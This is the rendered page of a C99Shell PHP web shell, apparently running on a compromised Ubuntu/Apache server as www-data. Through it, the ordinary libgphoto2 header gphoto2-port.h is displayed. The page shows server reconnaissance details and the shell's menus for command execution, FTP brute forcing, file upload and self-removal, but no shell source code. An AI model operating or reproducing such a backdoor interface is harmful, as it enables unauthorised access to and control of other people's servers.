!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/include/gphoto2/   drwxr-xr-x
Free 12.98 GB of 57.97 GB (22.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     gphoto2-port.h (8.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/** \file 
 *
 * \author Copyright 2001 Lutz Mueller <lutz@users.sf.net>
 *
 * \par License
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2 of the License, or (at your option) any later version.
 *
 * \par
 * This library is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details. 
 *
 * \par
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the
 * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
 * Boston, MA  02110-1301  USA
 */

#ifndef __GPHOTO2_PORT_H__
#define __GPHOTO2_PORT_H__

#include <gphoto2/gphoto2-port-info-list.h>

/* For portability */
#include <gphoto2/gphoto2-port-portability.h>
#ifdef OS2
#include <gphoto2/gphoto2-port-portability-os2.h>
#include <os2.h>
#endif

#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */

#ifndef TRUE
#define TRUE (0==0)
#endif

#ifndef FALSE
#define FALSE (1==0)
#endif

/**
 * \brief Serial parity
 * 
 * Parity of the serial port.
 */
typedef enum _GPPortSerialParity
{
    GP_PORT_SERIAL_PARITY_OFF = 0,    /**< \brief Parity is off (disabled) */
    GP_PORT_SERIAL_PARITY_EVEN,        /**< \brief Parity is even. */
    GP_PORT_SERIAL_PARITY_ODD        /**< \brief Parity is odd. */
} GPPortSerialParity;

/** \brief Maximum length of receive buffer */
#define GP_PORT_MAX_BUF_LEN 4096             

/**
 * \brief Port settings for serial ports.
 */
typedef struct _GPPortSettingsSerial {
    char port[128];        /**< The portname (/dev/ttyX)*/
    int speed;        /**< The baudrate of the device. */
    int bits;        /**< How many bits data. */
    GPPortSerialParity parity;    /**< parity data, see GP_PORT_SERIAL_PARITY_ 
                  defines */
    int stopbits;        /**< How many stop bits are used. */
} GPPortSettingsSerial;

/**
 * \brief Port settings for USB ports.
 */
typedef struct _GPPortSettingsUSB {
    int inep;        /**< \brief Bulk IN endpoint used. */
    int outep;        /**< \brief Bulk OUT endpoint used. */
    int intep;        /**< \brief Interrupt endpoint used. */
    int config;        /**< \brief USB bConfigurationValue used. */
    int interface;        /**< \brief USB Interface number used. */
    int altsetting;        /**< \brief USB Alternative Setting used. */

    int maxpacketsize;    /**< \brief Maximum USB packetsize of the IN endpoint. (r/o) */

    /* must be last to avoid binary incompatibility.
     * luckily we just need to make sure this struct does not 
     * get larger than _GPPortSettingsSerial. */
    char port[64];        /**< \brief USB Portname. Specific to lowlevel USB. */
} GPPortSettingsUSB;

/**
 * \brief Port settings for USB mass storage direct IO ports.
 */
typedef struct _GPPortSettingsUsbDiskDirect {
    char path[128];        /**< /brief The ports device node path (/dev/sdX)*/
} GPPortSettingsUsbDiskDirect;

/**
 * \brief Port settings for USB Mass Storage raw SCSI ports.
 */
typedef struct _GPPortSettingsUsbScsi {
    char path[128];        /**< /brief The ports device node path (/dev/sg#)*/
} GPPortSettingsUsbScsi;

/**
 * \brief Union of port settings.
 *
 * This contains a shared union of possible settings for ports needing
 * them.
 */
typedef union _GPPortSettings {
    GPPortSettingsSerial serial;    /**< \brief Serial specific settings */
    GPPortSettingsUSB usb;        /**< \brief USB specific settings */
    GPPortSettingsUsbDiskDirect usbdiskdirect; /**< \brief usb disk direct port specific settings */
    GPPortSettingsUsbScsi usbscsi;    /**< \brief usb scsi port specific settings */
} GPPortSettings;

enum {
        GP_PORT_USB_ENDPOINT_IN,    /**< \brief USB bulk IN ep */
        GP_PORT_USB_ENDPOINT_OUT,    /**< \brief USB bulk OUT ep */
        GP_PORT_USB_ENDPOINT_INT    /**< \brief USB Interrupt ep */
};

typedef struct _GPPortPrivateLibrary GPPortPrivateLibrary;
typedef struct _GPPortPrivateCore    GPPortPrivateCore;

/**
 * \brief The GPhoto port structure.
 *
 * This structure tracks the physical connection of the device.
 * It can correspond the various methods of lowlevel access, serial
 * usb and others and abstracts them as much as possible.
 *
 * Frontends should consider this structure opaque and only use accessor
 * functions.
 *
 * Camera drivers should only access the type and pl members directly,
 * and use accessor functions for the rest.
 */
typedef struct _GPPort {
    /* For your convenience */
    GPPortType type;        /**< \brief Actual type of this port */

     GPPortSettings settings;    /**< \brief Current port settings. */
        GPPortSettings settings_pending;/**< \brief Settings to be committed. */

        int timeout;             /**< \brief Port timeout in milliseconds. */

    GPPortPrivateLibrary *pl;    /**< \brief Camera driver private data pointer. */
    GPPortPrivateCore    *pc;    /**< \brief Port library private data pointer. */
} GPPort;

int gp_port_new         (GPPort **port);
int gp_port_free        (GPPort *port);

int gp_port_set_info    (GPPort *port, GPPortInfo info);
int gp_port_get_info    (GPPort *port, GPPortInfo *info);

int gp_port_open        (GPPort *port);
int gp_port_close       (GPPort *port);

int gp_port_reset       (GPPort *port);

int gp_port_write       (GPPort *port, const char *data, int size);
int gp_port_read        (GPPort *port,       char *data, int size);
int gp_port_check_int   (GPPort *port,       char *data, int size);
int gp_port_check_int_fast (GPPort *port,    char *data, int size);

int gp_port_get_timeout  (GPPort *port, int *timeout);
int gp_port_set_timeout  (GPPort *port, int  timeout);

int gp_port_set_settings (GPPort *port, GPPortSettings  settings);
int gp_port_get_settings (GPPort *port, GPPortSettings *settings);

/**
 * \brief Serial pins.
 * 
 * A number of serial pins to trigger and pull. This is necessary
 * for some devices that have more than just the regular 3 or 4 wires.
 */
typedef enum _GPPin {
    GP_PIN_RTS,    /**< \brief RTS line */
    GP_PIN_DTR,    /**< \brief DTR line */
    GP_PIN_CTS,    /**< \brief CTS line */
    GP_PIN_DSR,    /**< \brief DSR line */
    GP_PIN_CD,    /**< \brief Carrier Detect line */
    GP_PIN_RING    /**< \brief RING (Modem) line */
} GPPin;

/**
 * \brief Level to pull specific lines.
 * 
 * The level on which to pull some of the serial lines.
 */
typedef enum _GPLevel {
    GP_LEVEL_LOW  = 0,    /**< \brief Pull to low (0V) */
    GP_LEVEL_HIGH = 1    /**< \brief Pull to high (nV) */
} GPLevel;

int gp_port_get_pin   (GPPort *port, GPPin pin, GPLevel *level);
int gp_port_set_pin   (GPPort *port, GPPin pin, GPLevel level);

int gp_port_send_break (GPPort *port, int duration);
int gp_port_flush      (GPPort *port, int direction);

int gp_port_usb_find_device (GPPort *port, int idvendor, int idproduct);
int gp_port_usb_find_device_by_class (GPPort *port, int mainclass, int subclass, int protocol);
int gp_port_usb_clear_halt  (GPPort *port, int ep);
int gp_port_usb_msg_write   (GPPort *port, int request, int value,
                 int index, char *bytes, int size);
int gp_port_usb_msg_read    (GPPort *port, int request, int value,
                 int index, char *bytes, int size);
int gp_port_usb_msg_interface_write    (GPPort *port, int request, 
                int value, int index, char *bytes, int size);
int gp_port_usb_msg_interface_read    (GPPort *port, int request, 
                int value, int index, char *bytes, int size);
int gp_port_usb_msg_class_write    (GPPort *port, int request, 
                int value, int index, char *bytes, int size);
int gp_port_usb_msg_class_read    (GPPort *port, int request, 
                int value, int index, char *bytes, int size);

int gp_port_seek (GPPort *port, int offset, int whence);

int gp_port_send_scsi_cmd (GPPort *port, int to_dev,
                char *cmd, int cmd_size,
                char *sense, int sense_size,
                char *data, int data_size);

/* Error reporting */
int         gp_port_set_error (GPPort *port, const char *format, ...)
#ifdef __GNUC__
    __attribute__((__format__(printf,2,3)))
#endif
;
const char *gp_port_get_error (GPPort *port);

/* DEPRECATED */
/** \deprecated internal typedef */
typedef GPPort gp_port;
/** \deprecated internal typedef */
typedef GPPortSettings gp_port_settings;
/** \deprecated internal define */
#define PIN_CTS GP_PIN_CTS

#ifdef __cplusplus
}
#endif /* __cplusplus */

#endif /* __GPHOTO2_PORT_H__ */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0127 ]--